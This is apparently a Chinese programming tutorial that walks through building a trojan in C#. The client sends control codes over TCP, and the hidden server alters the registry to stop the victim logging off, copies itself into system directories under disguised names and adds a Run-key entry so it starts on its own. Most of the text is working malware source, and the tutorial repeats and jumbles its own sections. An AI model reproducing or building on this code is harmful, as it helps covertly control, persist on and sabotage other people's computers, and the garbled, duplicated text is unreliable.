前言:
因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:
使用了.NET类中的System.Net.Sockets.TcpClient类,
TcpClient(
string
hostname,
int
port)
Hostname是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
//
System.EventArgs包含事件数据类的基类
private
void
button7_Click(
object
sender,System.EventArgse)

...
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接"+textBox1.Text+" ");
intport=6678;
try

...{
//初始化TcpClient类的新实例并连接到指定主机上的指定端口
client=newTcpClient(textBox1.Text,port);
}
catch

...{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}
//
privatevoidbuttion
//
privateNetworkStreamstream;
代码如下:
private
void
button8_Click(
object
sender,System.EventArgse)

...
{
//纪录操作
richTextBox1.AppendText("测试连接"+" ");
try

...{

stream=client.GetStream();
if(stream.CanWrite)

...{
//发送控制码
stringcontrol="jiance";
byte[]by=System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive=newThread(newThreadStart(receive));
threadReceive.Start();
}
}
catch(Exceptionee)

...{
richTextBox1.AppendText(ee.Message+" ");
MessageBox.Show(ee.Message);
}
}
private
void
button9_Click(
object
sender,System.EventArgse)

...
{
//这里是确定要发送的控制码,RadioButton是窗体控件

if(radioButton1.Checked)...{control=form2.zhucex;}

elseif(radioButton2.Checked)...{control=form3.zhuces;}

elseif(radioButton3.Checked)...{control=warring;}

elseif(radioButton4.Checked)...{control=suggest;}

elseif(radioButton5.Checked)...{control=form4.mumawe;}

elseif(radioButton6.Checked)...{control=drop;}
if(control=="000000")

...{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
elseif(control!="000000")

...{
try

...{
//记录操作
richTextBox1.AppendText(control+"正在试图控制,等待回应......"+" ");
stream=client.GetStream();
if(stream.CanWrite)

...{
byte[]by=System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive=newThread(newThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch

...{
richTextBox1.AppendText("服务器未连接1控制无效!"+" ");
MessageBox.Show("服务器未连接1控制无效!"+" ");
}
}//elseif
}
private
void
receive()

...
{
//设置读取数据的空间
byte[]bb=newbyte[3];
//读取3个字节,i为实际读取的字节数
inti=stream.Read(bb,0,3);
//转换成字符串,如果是中文控制码则用stringss=//System.Text.Encoding.Unicode.GetString(bb);
stringss=System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码hjc为连接成功,hkz为控制成功
if(ss=="hjc")

...{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss=="hkz")

...{
richTextBox1.AppendText(control+"控制成功"+" ");
MessageBox.Show(control+"控制成功"+" ");
}
}
服务端的开发:
要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:
1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:
2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:
3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:
4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C://winnnt//system//msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。
到这里一个简单的C#的木马就完成了。
因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求

























2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流



































3、控制生效的代码


















































4、线程执行的函数
























服务端的开发:
要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:
1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:
private void InitializeComponent() { // // Form1 // //窗体显示的起点和大小 this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); this.ClientSize = new System.Drawing.Size(368, 357); //窗体名称 this.Name = "Form1"; //设置属性让它后台运行 this.ShowInTaskbar = false; this.Text = "Form1"; this.WindowState = System.Windows.Forms.FormWindowState.Minimized; } |
2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:
public Form1() //窗体的构造函数 { // // Windows 窗体设计器支持所必需的 // InitializeComponent(); // // TODO: 在 InitializeComponent 调用后添加任何构造函数代码 //加入你的侦听代码 //端口你可以自已设定,我使用了固定的端口 int port =6678; //System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 listener = new TcpListener(port); //启动侦听 listener.Start(); //增加接收控制码的线程,如果要停止线程可以用 Thread.abort() //reControlCode 是线程启动执行的函数,此函数根据接收的控制 //控制码选取合适的注册表修改函数 Thread thread = new Thread(new ThreadStart(reControlCode)); thread.Start(); } reControlCode函数如下,完整代码见程序 private void reControlCode() { //设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求 socket = listener.AcceptSocket(); //如果连接成功执行 while (socket.Connected) { //接收控制码 byte [] by =new byte[6]; int i = socket.Receive(by,by.Length ,0); string ss = System.Text.Encoding.ASCII.GetString(by); //根据控制码执行不同的功能 //修改注册表加入编码 switch (ss) { case "jiance"://测试连接,返回测试信息 string str ="hjc"; byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); socket.Send(bytee,0,bytee.Length,0); break; case "zx1000": //修改注册表函数,自已定义,见下面分析 UnLogOff(); //返回控制消息 retMessage(); break; case "zx0100": //修改注册表函数 UnClose(); //返回控制消息 retMessage(); break; //重复的case功能与前面一样,略掉 default: break; }//case }//while } //private void reControlCode |
3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:
private void UnLogOff() { //得到主机的注册表的顶级节点 Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; //设置一个注册表子键的变量 RegistryKey key1; try { //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true); //设置子键的键名,和值 key1.SetValue ("NoLogOff",1); //关闭打开的子键 key1.Close(); //警告字符串设定 mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改!请将它置为0!"; } catch{} //如果不存在自已建立 if(key1 ==null) { try { //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer"); key2.SetValue("NoLogOff",1); key2.Close(); mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer键值Nologoff被修改!请将它置为0!"; } catch{} } } |
4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C://winnnt//system//msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。
private void moveCC1() { try { //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 //sourceFileName为要移动的文件名,destFileName为文件的新路径 File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe"); } catch {} //将新移的木马程序设为自启动.分析和前面一样 try { key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true); key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe"); key1.Close(); } catch{} if(key1 ==null) { try { RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run"); key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe"); key1.Close(); } catch{} } } //moveCC1() |
到这里一个简单的C#的木马就完成了。